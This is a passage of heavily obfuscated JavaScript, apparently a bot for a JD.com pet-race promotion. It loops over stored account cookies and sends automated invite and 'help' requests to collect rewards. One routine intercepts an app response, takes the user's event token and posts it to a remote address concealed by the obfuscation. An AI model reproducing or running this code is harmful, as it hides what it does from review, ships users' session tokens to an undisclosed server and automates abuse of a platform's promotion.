ocdG'])){if(err){$[_0x1d8d('72','LMvC')](_0x330a01[_0x1d8d('73','jPP7')]);$[_0x1d8d('74','IldE')](JSON[_0x1d8d('75','$XvX')](err));}else{$['log']('赛跑助力结果'+data);data=JSON[_0x1d8d('76','$XN&')](data);if(_0x330a01['XcCDS'](data['errorCode'],_0x330a01[_0x1d8d('77','gmfl')])&&_0x330a01['XcCDS'](data[_0x1d8d('78','jPP7')][_0x1d8d('79','@%ST')],_0x330a01[_0x1d8d('7a','B6wd')])){console[_0x1d8d('7b','20LO')]('助力'+friendPin+_0x1d8d('7c','6Ixg')+data[_0x1d8d('7d','3$I%')][_0x1d8d('7e','FjT2')]+'g\x0a');$[_0x1d8d('7f','i)4I')]+=data[_0x1d8d('80','X^Nl')][_0x1d8d('81','Fuxb')];}}}else{$[_0x1d8d('82','gmfl')]($[_0x1d8d('83','2Yg&')],_0x330a01[_0x1d8d('84','1jsB')],_0x330a01[_0x1d8d('85','1jsB')]);}}await getFriendPins();for(let _0x5cde8b=0x0;_0x330a01[_0x1d8d('86','[Au0')](_0x5cde8b,cookiesArr['length']);_0x5cde8b++){if(cookiesArr[_0x5cde8b]){if($[_0x1d8d('87','F3d(')]()){if(_0x330a01['KXKyQ']('rioTJ',_0x330a01[_0x1d8d('88','X^Nl')])){resolve(data);}else{if(process[_0x1d8d('89','Fuxb')][_0x1d8d('8a','Q0uE')]){console[_0x1d8d('8b','mNmJ')](_0x1d8d('8c','buJq'));let _0x53e50e=[];Object['values'](jdCookieNode)[_0x1d8d('8d','MUvq')](_0x1c7caf=>_0x1c7caf[_0x1d8d('8e','OkG9')](/pt_pin=([^; ]+)(?=;?)/))[_0x1d8d('8f','i%AY')](_0x2fc1f9=>_0x53e50e[_0x1d8d('90','bP9Z')](decodeURIComponent(_0x2fc1f9[_0x1d8d('91','%Ier')](/pt_pin=([^; ]+)(?=;?)/)[0x1])));run_pins=[...new Set(_0x53e50e),[..._0x330a01[_0x1d8d('92','MV^d')](getRandomArrayElements,[...run_pins[0x0][_0x1d8d('93','6Ixg')](',')],[...run_pins[0x0][_0x1d8d('94','1jsB')](',')][_0x1d8d('95','FjT2')])]];run_pins=[[...run_pins][_0x1d8d('96','6Ixg')](',')];invite_pins=run_pins;}else{console[_0x1d8d('97','@%ST')](_0x1d8d('98','%Ier'));run_pins=run_pins[0x0]['split'](',');Object[_0x1d8d('99','F3d(')](jdCookieNode)[_0x1d8d('9a','(i((')](_0xb3c3d3=>_0xb3c3d3[_0x1d8d('9b','mNmJ')](/pt_pin=([^; ]+)(?=;?)/))['map'](_0x4808af=>run_pins[_0x1d8d('9c','[Au0')](decodeURIComponent(_0x4808af[_0x1d8d('9d','@R[F')](/pt_pin=([^; ]+)(?=;?)/)[0x1])));run_pins=[...new Set(run_pins)];let _0xcaf91e=run_pins[_0x1d8d('9e','a5b5')](run_pins[_0x1d8d('9f','Fuxb')](_0x330a01['Bcrkx']),0x1);_0xcaf91e[_0x1d8d('a0',']q![')](...run_pins[_0x1d8d('a1','2R2%')](run_pins[_0x1d8d('a2','LMvC')](_0x330a01[_0x1d8d('a3','ziq7')]),0x1));const _0x29c843=_0x330a01['wboGK'](getRandomArrayElements,run_pins,run_pins['length']);run_pins=[[..._0xcaf91e,..._0x29c843]['join'](',')];invite_pins=run_pins;}}}cookie=cookiesArr[_0x5cde8b];UserName=decodeURIComponent(cookie[_0x1d8d('91','%Ier')](/pt_pin=([^; ]+)(?=;?)/)&&cookie['match'](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x1d8d('a4','1jsB')]=_0x330a01[_0x1d8d('a5','%Ier')](_0x5cde8b,0x1);$['inviteReward']=0x0;$[_0x1d8d('a6','20LO')]=0x0;console['log'](_0x1d8d('a7','DLFY')+$[_0x1d8d('a8','@R[F')]+'】'+UserName+'\x0a');$[_0x1d8d('a9','ziq7')]=!![];$[_0x1d8d('aa',']q![')]=!![];console['log']('=============【开始邀请助力】===============');const _0x488ffe=_0x330a01[_0x1d8d('ab','Zg)1')]($[_0x1d8d('ac','a5b5')],invite_pins[_0x1d8d('ad','bP9Z')])?invite_pins['length']-0x1:$[_0x1d8d('ae','LMvC')]-0x1;let _0x4fc576=invite_pins[_0x488ffe][_0x1d8d('af','v[xq')](',');_0x4fc576=[..._0x4fc576,..._0x330a01['wboGK'](getRandomArrayElements,friendsArr,friendsArr['length']>=0x12?0x12:friendsArr[_0x1d8d('b0','Fuxb')])];await _0x330a01[_0x1d8d('b1','X^Nl')](invite,_0x4fc576);if($[_0x1d8d('b2','mNmJ')]&&$[_0x1d8d('b3','L2w5')]){if(_0x330a01[_0x1d8d('b4',']q![')](nowTimes['getHours'](),0x9)&&_0x330a01['jmNlF'](nowTimes[_0x1d8d('b5','bP9Z')](),0x15)){if(_0x330a01[_0x1d8d('b6','L2w5')](_0x330a01[_0x1d8d('b7','[13G')],_0x330a01[_0x1d8d('b8','G@&z')])){console[_0x1d8d('72','LMvC')]('===========【开始助力好友赛跑】===========');const _0x100026=$[_0x1d8d('b9','jPP7')]>run_pins[_0x1d8d('ba','@R[F')]?_0x330a01[_0x1d8d('bb','1oK$')](run_pins['length'],0x1):$[_0x1d8d('bc','B6wd')]-0x1;let _0x4b3e35=run_pins[_0x100026][_0x1d8d('bd','MUvq')](',');await run(_0x4b3e35);}else{friendsArr=$[_0x1d8d('be','B6wd')][_0x330a01['DvjUc']];console[_0x1d8d('bf','1oK$')](_0x1d8d('c0','Z@OR')+friendsArr['length']+_0x1d8d('c1','LMvC'));}}else{console[_0x1d8d('c2','$XvX')](_0x1d8d('c3','FjT2'));}}await showMsg();}}$[_0x1d8d('c4','B6wd')]();}let count=0x0;async function getToken(){var _0x4e349a={'smmsZ':_0x1d8d('c5','jPP7'),'DOPvS':_0x1d8d('c6','Zg)1'),'PNRHK':'sFkqm','YrRPU':function(_0x35ae6d,_0x3c6366){return _0x35ae6d===_0x3c6366;},'HkBNE':function(_0x287c6f,_0x2e727f){return _0x287c6f!==_0x2e727f;},'dcXRH':'uwEiT','wItnI':_0x1d8d('c7','G@&z'),'nHRkG':_0x1d8d('c8','Zg)1'),'GHeeF':function(_0x4a4007,_0x10543a){return _0x4a4007==_0x10543a;},'jJGOJ':function(_0x4b51b0,_0x51af5a,_0xec2544){return _0x4b51b0(_0x51af5a,_0xec2544);},'dpiqC':function(_0x410ab8,_0xd0128c){return _0x410ab8!==_0xd0128c;},'EpJhu':_0x1d8d('c9','jE2P'),'Whwhn':_0x1d8d('ca','Zg)1'),'GfFlM':'joy','SrjqV':_0x1d8d('cb','@%ST'),'tlFZl':'OPTIONS','oiRde':_0x1d8d('cc','2R2%')};const _0xdd62d6=$request['url'];$[_0x1d8d('cd','EtFw')]($[_0x1d8d('ce','[Au0')]+_0x1d8d('cf','L2w5')+_0xdd62d6+'\x0a');if(_0x4e349a[_0x1d8d('d0','EtFw')](isURL,_0xdd62d6,/^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code=/)){if(_0x4e349a[_0x1d8d('d1','&o(o')](_0x1d8d('d2','2R2%'),_0x1d8d('d3','[Au0'))){const _0x2f6d4c=JSON['parse']($response['body']);const _0x861c3e=_0x2f6d4c['data']&&_0x2f6d4c[_0x1d8d('7d','3$I%')]['token'];if(_0x861c3e){$[_0x1d8d('d4','[Au0')]($[_0x1d8d('d5','MV^d')]+'\x20token\x0a'+_0x861c3e+'\x0a');$[_0x1d8d('d6','$XvX')]($[_0x1d8d('d7','v[xq')],_0x4e349a[_0x1d8d('d8','Fuxb')],'');console[_0x1d8d('d9','v[xq')]('\x0aToken,'+_0x861c3e+'\x0a');$[_0x1d8d('da','MUvq')][_0x1d8d('db','2Yg&')]({'url':_0x1d8d('dc','DLFY'),'headers':{'Content-Type':_0x4e349a['Whwhn']},'body':JSON[_0x1d8d('dd','L2w5')]({'activity_name':_0x4e349a['GfFlM'],'share_code':_0x861c3e}),'timeout':0x7530})[_0x1d8d('de','Q0uE')](_0x4db715=>{var _0x4343aa={'FtjGg':_0x4e349a['smmsZ']};if(_0x4e349a['DOPvS']!==_0x4e349a[_0x1d8d('df','IldE')]){if(_0x4e349a[_0x1d8d('e0','mNmJ')](_0x4db715['statusCode'],0xc8)){try{if(_0x4e349a[_0x1d8d('e1',']f#3')](_0x4e349a['dcXRH'],_0x1d8d('e2','[Au0'))){data=JSON[_0x1d8d('e3','v[xq')](data);}else{let {body}=_0x4db715;console['log'](_0x1d8d('e4','Fuxb')+_0x2f6d4c+'\x0a');_0x2f6d4c=JSON[_0x1d8d('e5','i%AY')](_0x2f6d4c);console[_0x1d8d('e6','MV^d')](''+_0x2f6d4c['message']);}}catch(_0x30c25a){if(_0x4e349a[_0x1d8d('e7','buJq')]===_0x4e349a[_0x1d8d('e8','i%AY')]){if(err){$[_0x1d8d('e9','2R2%')]($['name']+_0x1d8d('ea','MV^d'));$['log'](JSON[_0x1d8d('eb','Fuxb')](err));}else{data=JSON['parse'](data);}}else{console[_0x1d8d('ec','FjT2')]('提交Token异常:'+_0x30c25a);}}}}else{$['friendPins']=data&&JSON[_0x1d8d('ed','LMvC')](data);if($[_0x1d8d('ee','[Au0')]&&$[_0x1d8d('ef','MUvq')][_0x4343aa['FtjGg']]){friendsArr=$[_0x1d8d('f0','2Yg&')][_0x4343aa[_0x1d8d('f1','1jsB')]];console[_0x1d8d('ec','FjT2')](_0x1d8d('f2','%Ier')+friendsArr[_0x1d8d('f3','1oK$')]+_0x1d8d('f4','v[xq'));}}})['catch'](_0x37baf7=>console[_0x1d8d('f5','IldE')](_0x1d8d('f6','$XN&')+_0x37baf7));$[_0x1d8d('f7','@R[F')](_0x861c3e,_0x4e349a['SrjqV']);}$[_0x1d8d('f8','MV^d')]({'body':JSON[_0x1d8d('f9','OkG9')](_0x2f6d4c)});}else{if(_0x4e349a[_0x1d8d('fa','6Ixg')](typeof str,_0x1d8d('fb','IldE'))){try{return JSON[_0x1d8d('fc','MV^d')](str);}catch(_0x5ed4ca){console['log'](_0x5ed4ca);$[_0x1d8d('fd','20LO')]($['name'],'',_0x1d8d('fe','a)x2'));return[];}}}}else if(_0x4e349a[_0x1d8d('ff','$XN&')](isURL,_0xdd62d6,/^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId=/)){if($request&&$request['method']!==_0x4e349a[_0x1d8d('100','v[xq')]){const _0x14840e=$request['headers'][_0x1d8d('101','v[xq')];$[_0x1d8d('102','%bsr')](_0x14840e,_0x1d8d('103','F3d('));$[_0x1d8d('fd','20LO')]($[_0x1d8d('104','buJq')],_0x4e349a[_0x1d8d('105','3$I%')],'');$[_0x1d8d('106','%bsr')]({'url':_0xdd62d6});}}else{$[_0x1d8d('107','a)x2')]();}}function readToken(){var _0xd98ea={'hLjjP':function(_0x4b935d,_0x549041){return _0x4b935d(_0x549041);},'TPXsw':function(_0x628efb,_0x177362){return _0x628efb!==_0x177362;},'eOXht':'iVjTS','npBwV':_0x1d8d('108','$XN&')};return new Promise(_0x30b794=>{var _0x225f48={'JqcXC':function(_0x5e79e4,_0x5a0d43){return _0xd98ea['hLjjP'](_0x5e79e4,_0x5a0d43);},'DswhM':function(_0x3535ec,_0x4f8587){return _0xd98ea[_0x1d8d('109','@R[F')](_0x3535ec,_0x4f8587);},'iewbR':_0xd98ea[_0x1d8d('10a','v[xq')],'xEsmZ':function(_0x1848e5,_0xc9204e){return _0x1848e5===_0xc9204e;},'herUU':_0xd98ea[_0x1d8d('10b','bP9Z')]};$[_0x1d8d('10c',']f#3')]({'url':_0x1d8d('10d','Zg)1'),'timeout':0x2710},(_0x285b4c,_0x36b3b5,_0x40bbab)=>{var _0x42f671={'rUwzo':function(_0x15db87,_0x3ab9fa){return _0x225f48['JqcXC'](_0x15db87,_0x3ab9fa);}};if(_0x225f48[_0x1d8d('10e','&o(o')](_0x225f48[_0x1d8d('10f','(i((')],'nQJJl')){try{if(_0x285b4c){console[_0x1d8d('110','X^Nl')](''+JSON[_0x1d8d('111','MUvq')](_0x285b4c));console[_0x1d8d('112','i)4I')]($[_0x1d8d('113','DLFY')]+_0x1d8d('114','6Ixg'));}else{if(_0x225f48['xEsmZ'](_0x1d8d('115','PC7O'),_0x1d8d('116','gmfl'))){console[_0x1d8d('117','MUvq')](_0x1d8d('118','2R2%'));_0x40bbab=JSON[_0x1d8d('119','bP9Z')](_0x40bbab);}else{if(_0x40bbab){console['log']('\x0a\x0a搬运我脚本修改我内置互助码的,请不要盗取我服务器token\x0a\x0a\x0a');_0x40bbab=JSON[_0x1d8d('11a','B6wd')](_0x40bbab);}}}}catch(_0x5ff935){if('EVbIO'===_0x225f48[_0x1d8d('11b','2Yg&')]){$[_0x1d8d('11c',']q![')](_0x5ff935,_0x36b3b5);}else{run_pins[_0x1d8d('11d','FjT2')]($['getdata']('jd2_joy_run_pin'));}}finally{_0x225f48[_0x1d8d('11e','buJq')](_0x30b794,_0x40bbab);}}else{_0x42f671[_0x1d8d('11f','a5b5')](_0x30b794,_0x40bbab);}});});}function showMsg(){var _0x2f14fd={'LVWoX':function(_0x54ba77,_0x597314){return _0x54ba77>_0x597314;},'TgwXO':function(_0x370c3e,_0x9aa8b5){return _0x370c3e/_0x9aa8b5;},'junUI':function(_0x3b55f1,_0x19e8d8){return _0x3b55f1/_0x19e8d8;},'sPkab':function(_0x50d01c){return _0x50d01c();}};return new Promise(async _0x3bb2ea=>{if($['inviteReward']||$['runReward']){let _0x25b6c9='';if(_0x2f14fd[_0x1d8d('120','(i((')]($['inviteReward'],0x0)){_0x25b6c9+='给'+_0x2f14fd[_0x1d8d('121','Zg)1')]($[_0x1d8d('122','bP9Z')],0x1e)+_0x1d8d('123','[13G')+$['inviteReward']+_0x1d8d('124','20LO');}if(_0x2f14fd[_0x1d8d('125','1oK$')]($[_0x1d8d('126','&o(o')],0x0)){_0x25b6c9+='给'+_0x2f14fd['junUI']($['runReward'],0x5)+_0x1d8d('127','1oK$')+$[_0x1d8d('128','buJq')]+'g';}if(_0x25b6c9){$[_0x1d8d('129','G@&z')]($[_0x1d8d('12a','OkG9')],'','京东账号'+$['index']+'\x20'+UserName+'\x0a'+_0x25b6c9);}}_0x2f14fd[_0x1d8d('12b','B6wd')](_0x3bb2ea);});}async function invite(_0x27134c){var _0x23c04e={'bkqCq':function(_0x7cd1a6,_0x522682){return _0x7cd1a6>_0x522682;},'rsAOs':'jd2_joy_invite_pin','HOGqz':function(_0x555915,_0x2f5f28){return _0x555915===_0x2f5f28;},'XzMEu':function(_0x422e61,_0x420954){return _0x422e61*_0x420954;},'VhSaZ':function(_0x2ce6e7,_0x9d22f9){return _0x2ce6e7+_0x9d22f9;},'isfVf':function(_0x32b9a7,_0x36f03e){return _0x32b9a7(_0x36f03e);},'bsdzo':function(_0x5d1265,_0x2e3d91){return _0x5d1265===_0x2e3d91;},'rUpTJ':_0x1d8d('12c','i%AY'),'QeJVX':_0x1d8d('12d','6Ixg'),'xBSsw':function(_0x4f9d50,_0x28cae8){return _0x4f9d50!==_0x28cae8;},'QSxGC':function(_0x47189a,_0x4f3917){return _0x47189a===_0x4f3917;},'Jnxsb':_0x1d8d('12e','ziq7'),'ZMZfn':function(_0x24cac8,_0x597e0b){return _0x24cac8===_0x597e0b;},'nZyLx':_0x1d8d('12f','@R[F'),'xyBUv':'tqajP','lYxSc':_0x1d8d('130','X^Nl'),'qsxgj':_0x1d8d('131','FjT2'),'YWcvF':_0x1d8d('132','@R[F'),'ptdHh':_0x1d8d('133','20LO'),'pxJnY':function(_0x212627,_0x24a3d9){return _0x212627===_0x24a3d9;},'iCplx':_0x1d8d('134','IldE'),'bJfNg':_0x1d8d('135','i)4I'),'tfJho':_0x1d8d('136','Z@OR'),'sguNi':_0x1d8d('137','$XN&'),'KcfLr':_0x1d8d('138','Fuxb'),'iwGfX':'eywKj','ZTIMb':_0x1d8d('139','DLFY'),'rGRTo':'京东Cookie失效','gGAAz':'https://bean.m.jd.com/bean/signIndex.action'};console[_0x1d8d('13a','(i((')]('账号'+$[_0x1d8d('ae','LMvC')]+'\x20['+UserName+_0x1d8d('13b','X^Nl')+_0x27134c[_0x1d8d('13c','v[xq')](_0x46fe4f=>_0x46fe4f['trim']())+'\x0a');for(let _0x21e589 of _0x27134c['map'](_0x21e589=>_0x21e589[_0x1d8d('13d','@%ST')]())){console[_0x1d8d('13e','a)x2')](_0x1d8d('13f','Q0uE')+$[_0x1d8d('140','1oK$')]+'\x20['+UserName+_0x1d8d('141','Z@OR')+_0x21e589+_0x1d8d('142','$XN&'));if(_0x23c04e[_0x1d8d('143','Fuxb')](UserName,_0x21e589)){if(_0x23c04e[_0x1d8d('144','buJq')](_0x23c04e['rUpTJ'],_0x23c04e[_0x1d8d('145','OkG9')])){if(_0x23c04e[_0x1d8d('146','Q0uE')](_0x27134c[_0x1d8d('147','MUvq')],0x0)){_0x27134c[_0x1d8d('148','MV^d')]($['getdata'](_0x23c04e[_0x1d8d('149','IldE')]));}else{_0x27134c=[];_0x27134c[_0x1d8d('14a','L2w5')]($[_0x1d8d('2f','B6wd')](_0x23c04e[_0x1d8d('14b','B6wd')]));}}else{console[_0x1d8d('14c','buJq')]('自己账号,跳过');continue;}}const _0x3521f3=await enterRoom(_0x21e589);if(_0x3521f3){if(_0x23c04e['xBSsw'](_0x1d8d('14d','jPP7'),_0x1d8d('14e','i%AY'))){$['logErr'](e,resp);}else{if(_0x3521f3['success']){if(_0x23c04e[_0x1d8d('14f','Z@OR')](_0x23c04e[_0x1d8d('150','jE2P')],_0x1d8d('151','a)x2'))){$[_0x1d8d('13a','(i((')](_0x1d8d('152','1jsB')+_0x3521f3);_0x3521f3=JSON[_0x1d8d('153','a)x2')](_0x3521f3);if(_0x3521f3[_0x1d8d('154','buJq')]&&_0x23c04e['HOGqz'](_0x3521f3['errorCode'],'help_ok')){$['inviteReward']+=0x1e;}}else{const {helpStatus}=_0x3521f3[_0x1d8d('155','@%ST')];console[_0x1d8d('14c','buJq')]('helpStatus\x20'+helpStatus);if(_0x23c04e['ZMZfn'](helpStatus,_0x23c04e['nZyLx'])){if(_0x23c04e['ZMZfn'](_0x23c04e[_0x1d8d('156','EtFw')],_0x23c04e[_0x1d8d('157','Q0uE')])){console['log']('您的邀请助力机会已耗尽\x0a');break;}else{index=Math[_0x1d8d('158','$XN&')](_0x23c04e[_0x1d8d('159','1oK$')](_0x23c04e[_0x1d8d('15a','buJq')](i,0x1),Math['random']()));temp=shuffled[index];shuffled[index]=shuffled[i];shuffled[i]=temp;}}else if(helpStatus===_0x23c04e[_0x1d8d('15b','%bsr')]){if(_0x23c04e['qsxgj']===_0x1d8d('15c','EtFw')){console['log'](_0x1d8d('15d','$XvX')+_0x21e589+_0x1d8d('15e','DLFY'));}else{console[_0x1d8d('15f','%bsr')](_0x1d8d('160','G@&z'));}}else if(helpStatus===_0x23c04e[_0x1d8d('161','DLFY')]){console[_0x1d8d('162','&o(o')](_0x1d8d('163','Z@OR')+_0x21e589+'\x20已经满3人给他助力了,无需您再次助力\x0a');}else if(_0x23c04e[_0x1d8d('164','i%AY')](helpStatus,_0x23c04e[_0x1d8d('165','DLFY')])){console[_0x1d8d('166','7)Tk')](_0x1d8d('167',']f#3')+_0x21e589+'\x20助力\x0a');const _0x945f45=await helpInviteFriend(_0x21e589);if(_0x23c04e['pxJnY'](_0x945f45[_0x1d8d('168','1jsB')],_0x23c04e[_0x1d8d('169','i%AY')])&&!_0x945f45[_0x1d8d('16a','[13G')]){console[_0x1d8d('16b','F3d(')](_0x23c04e['bJfNg']);$[_0x1d8d('16c','buJq')]('',_0x23c04e[_0x1d8d('16d','$XN&')]);$['msg']($[_0x1d8d('16e','$XvX')],_0x23c04e[_0x1d8d('16f','Fuxb')],_0x23c04e[_0x1d8d('170','MV^d')]);$[_0x1d8d('171','%Ier')]=![];break;}else{if(_0x1d8d('172','6Ixg')!==_0x23c04e[_0x1d8d('173','FjT2')]){$[_0x1d8d('174','i)4I')]=!![];}else{_0x23c04e[_0x1d8d('175','jPP7')](resolve,_0x3521f3);}}}$[_0x1d8d('176','buJq')]=!![];}}else{if(_0x23c04e['pxJnY'](_0x3521f3[_0x1d8d('177','[Au0')],_0x23c04e[_0x1d8d('178','%bsr')])){console[_0x1d8d('97','@%ST')](_0x23c04e[_0x1d8d('179',']q![')]);$[_0x1d8d('17a','jE2P')]($[_0x1d8d('42','6Ixg')],'【提示】京东cookie已失效',_0x1d8d('17b','EtFw')+$[_0x1d8d('17c','MUvq')]+'\x20'+UserName+_0x1d8d('17d','L2w5'),{'open-url':_0x23c04e[_0x1d8d('17e','X^Nl')]});$[_0x1d8d('17f','i)4I')]=![];break;}}}}}}function enterRoom(_0x1d51b6){var _0x574e2e={'qgoVS':function(_0x2a1bda,_0x2fe80e){return _0x2a1bda===_0x2fe80e;},'tmyJM':_0x1d8d('180','bP9Z'),'FWGnM':_0x1d8d('181','ziq7'),'czywW':function(_0x5acf65,_0x592d4d){return _0x5acf65(_0x592d4d);},'bkpwR':_0x1d8d('182','Q0uE'),'jKqIo':_0x1d8d('10','@R[F'),'hHzzY':_0x1d8d('183','$XvX'),'afroB':_0x1d8d('184','IldE'),'ipUIl':function(_0x576ffa,_0x23982c){return _0x576ffa+_0x23982c;},'qRkUe':'https:','aQsft':_0x1d8d('185','G@&z')};return new Promise(_0x167d70=>{headers[_0x1d8d('186','2Yg&')]=cookie;headers['LKYLToken']=$['LKYLToken'];headers[_0x574e2e[_0x1d8d('187','jPP7')]]=_0x574e2e['jKqIo'];let _0xeb3872={'url':'//draw.jdfcloud.com/common/pet/enterRoom/h5?reqSource=h5&invitePin='+encodeURI(_0x1d51b6)+_0x1d8d('188','%bsr')+Date[_0x1d8d('189','Fuxb')]()+_0x1d8d('18a','1oK$'),'method':_0x574e2e[_0x1d8d('18b','mNmJ')],'data':{},'credentials':_0x574e2e['afroB'],'header':{'content-type':_0x574e2e['jKqIo']}};const _0x203343=_0x574e2e[_0x1d8d('18c','OkG9')](_0x574e2e[_0x1d8d('18d','MV^d')],_0x574e2e[_0x1d8d('18e','F3d(')](taroRequest,_0xeb3872)[_0x574e2e[_0x1d8d('18f','a5b5')]]);const _0x10b1cc={'url':_0x203343,'body':'{}','headers':headers};$[_0x1d8d('190','2R2%')](_0x10b1cc,(_0x116c8e,_0x1da93c,_0x27689a)=>{try{if(_0x116c8e){if(_0x574e2e['qgoVS'](_0x574e2e[_0x1d8d('191','2Yg&')],_0x1d8d('192','@R[F'))){$[_0x1d8d('193','3$I%')]($[_0x1d8d('194','20LO')]+_0x1d8d('195','@%ST'));$[_0x1d8d('8b','mNmJ')](JSON['stringify'](_0x116c8e));}else{$[_0x1d8d('196','OkG9')]=!![];}}else{_0x27689a=JSON[_0x1d8d('197','OkG9')](_0x27689a);}}catch(_0x45d843){if(_0x574e2e[_0x1d8d('198','G@&z')]===_0x574e2e[_0x1d8d('199','1jsB')]){$['logErr'](_0x45d843,_0x1da93c);}else{console[_0x1d8d('19a','i%AY')]('已给该好友\x20'+item+_0x1d8d('19b','OkG9'));}}finally{_0x574e2e[_0x1d8d('19c','20LO')](_0x167d70,_0x27689a);}});});}function helpInviteFriend(_0x5032f3){var _0x539980={'mMgkc':function(_0x4f5919,_0x3fe4cb){return _0x4f5919(_0x3fe4cb);},'gQVhB':function(_0x557c8d,_0x36a836){return _0x557c8d===_0x36a836;},'CAkrn':_0x1d8d('19d','i%AY'),'rJwYu':'dHBqI','lqNcv':function(_0x2b6d6e,_0x5bd46e){return _0x2b6d6e!==_0x5bd46e;},'xNMbl':_0x1d8d('19e','1oK$'),'rcrxc':'include','QMHRe':_0x1d8d('19f','MUvq'),'JIZxA':function(_0x23e3ec,_0x2ef200){return _0x23e3ec(_0x2ef200);},'yLnzg':_0x1d8d('1a0','%Ier')};return new Promise(_0x569ddc=>{var _0x27c3d7={'yjTYs':function(_0x544d3a,_0xd280f4){return _0x539980['gQVhB'](_0x544d3a,_0xd280f4);},'TBDFt':_0x1d8d('1a1','MUvq'),'EqVfl':_0x539980['CAkrn'],'DNUnx':_0x539980[_0x1d8d('1a2','7)Tk')],'KePrw':function(_0x28f1b2,_0x42ac4f){return _0x539980['mMgkc'](_0x28f1b2,_0x42ac4f);}};if(_0x539980[_0x1d8d('1a3','IldE')](_0x1d8d('1a4','DLFY'),_0x1d8d('1a5','a)x2'))){_0x539980[_0x1d8d('1a6','IldE')](_0x569ddc,data);}else{headers[_0x1d8d('1a7','B6wd')]=cookie;headers['LKYLToken']=$[_0x1d8d('1a8',']q![')];let _0x1cdff0={'url':_0x1d8d('1a9','a5b5')+_0x539980[_0x1d8d('1aa','[Au0')](encodeURI,_0x5032f3)+_0x1d8d('1ab','1oK$'),'method':_0x539980[_0x1d8d('1ac','gmfl')],'data':{},'credentials':_0x539980[_0x1d8d('1ad','7)Tk')],'header':{'content-type':_0x539980[_0x1d8d('1ae','MV^d')]}};const _0xbf0b08=_0x1d8d('1af','X^Nl')+_0x539980[_0x1d8d('1b0','@%ST')](taroRequest,_0x1cdff0)[_0x539980[_0x1d8d('1b1','1jsB')]];const _0x1376a8={'url':_0xbf0b08,'headers':headers};$[_0x1d8d('1b2','IldE')](_0x1376a8,(_0x45b3b8,_0x1507dc,_0x3bbecd)=>{var _0x33f4a6={'fWHKu':function(_0x598ee2,_0x4c5fec){return _0x27c3d7[_0x1d8d('1b3','$XN&')](_0x598ee2,_0x4c5fec);},'kthQi':_0x27c3d7[_0x1d8d('1b4','Z@OR')]};try{if(_0x27c3d7[_0x1d8d('1b5',']f#3')](_0x1d8d('1b6','B6wd'),_0x1d8d('1b7','G@&z'))){if(_0x45b3b8){$[_0x1d8d('16b','F3d(')](_0x27c3d7[_0x1d8d('1b8','bP9Z')]);$[_0x1d8d('1b9','2R2%')](JSON['stringify'](_0x45b3b8));}else{$[_0x1d8d('d4','[Au0')]('邀请助力结果:'+_0x3bbecd);_0x3bbecd=JSON[_0x1d8d('1ba','i)4I')](_0x3bbecd);if(_0x3bbecd[_0x1d8d('1bb','7)Tk')]&&_0x27c3d7[_0x1d8d('1bc','PC7O')](_0x3bbecd['errorCode'],_0x1d8d('1bd','(i(('))){$[_0x1d8d('1be','MV^d')]+=0x1e;}}}else{$['logErr'](e,_0x1507dc);}}catch(_0x3e4d95){if(_0x27c3d7['yjTYs'](_0x27c3d7[_0x1d8d('1bf','buJq')],_0x1d8d('1c0','ziq7'))){$[_0x1d8d('1c1','Zg)1')](_0x1d8d('1c2','6Ixg')+_0x3bbecd);_0x3bbecd=JSON[_0x1d8d('1c3','gmfl')](_0x3bbecd);if(_0x33f4a6[_0x1d8d('1c4','2Yg&')](_0x3bbecd['errorCode'],_0x33f4a6['kthQi'])&&_0x33f4a6['fWHKu'](_0x3bbecd[_0x1d8d('1c5','$XvX')][_0x1d8d('1c6','&o(o')],_0x1d8d('1c7','i%AY'))){console['log']('助力'+_0x5032f3+_0x1d8d('1c8','MV^d')+_0x3bbecd[_0x1d8d('1c9','Z@OR')][_0x1d8d('1ca','a)x2')]+'g\x0a');$[_0x1d8d('1cb','G@&z')]+=_0x3bbecd['data'][_0x1d8d('1cc','IldE')];}}else{$[_0x1d8d('1cd','v[xq')](_0x3e4d95,_0x1507dc);}}finally{_0x27c3d7[_0x1d8d('1ce','@%ST')](_0x569ddc,_0x3bbecd);}});}});}async function run(_0x5eee4f){var _0x58a743={'RpIEu':_0x1d8d('1cf','1oK$'),'tiRlE':function(_0x1ecb5b,_0xfbdcf5){return _0x1ecb5b===_0xfbdcf5;},'SldJb':function(_0x2c83de,_0x31e0fd){return _0x2c83de!==_0x31e0fd;},'KSfRy':'dNWul','cquUF':'OVycX','amUjJ':function(_0x19ba53,_0x5322fe){return _0x19ba53(_0x5322fe);},'VNvLX':'help_full','nIxrI':'您的赛跑助力机会已耗尽','XOIyH':_0x1d8d('1d0','$XvX'),'SXXWt':_0x1d8d('134','IldE'),'ccclL':'jdJoyRunToken','hXRmL':'【提示】来客有礼token失效,请重新获取','RFtcD':_0x1d8d('1d1','[13G'),'uUsZr':function(_0x469a4f,_0x52b43b){return _0x469a4f===_0x52b43b;},'gjwxY':'vgBLN','KrzKV':_0x1d8d('1d2','%bsr')};console[_0x1d8d('1d3','1jsB')]('账号'+$['index']+'\x20['+UserName+_0x1d8d('1d4','F3d(')+_0x5eee4f[_0x1d8d('1d5','(i((')](_0x2dd189=>_0x2dd189[_0x1d8d('1d6','1jsB')]())+'\x0a');for(let _0x151d8c of _0x5eee4f[_0x1d8d('1d7','@%ST')](_0x151d8c=>_0x151d8c[_0x1d8d('1d8','%bsr')]())){console[_0x1d8d('1d9','%Ier')](_0x1d8d('1da',']f#3')+$['index']+'\x20['+UserName+_0x1d8d('1db','$XvX')+_0x151d8c+_0x1d8d('1dc','$XvX'));if(_0x58a743[_0x1d8d('1dd','$XN&')](UserName,_0x151d8c)){if(_0x58a743[_0x1d8d('1de','jPP7')](_0x58a743['KSfRy'],_0x58a743[_0x1d8d('1df','$XN&')])){console[_0x1d8d('1e0','gmfl')](_0x1d8d('1e1','Q0uE'));continue;}else{console['log'](_0x1d8d('1e2','%bsr')+e);}}const _0x187e40=await _0x58a743['amUjJ'](combatDetail,_0x151d8c);const {petRaceResult}=_0x187e40[_0x1d8d('1e3','7)Tk')];console[_0x1d8d('1e4','jPP7')](_0x1d8d('1e5','i)4I')+petRaceResult);if(_0x58a743[_0x1d8d('1e6','$XvX')](petRaceResult,_0x58a743['VNvLX'])){console[_0x1d8d('1e7','6Ixg')](_0x58a743[_0x1d8d('1e8','(i((')]);break;}else 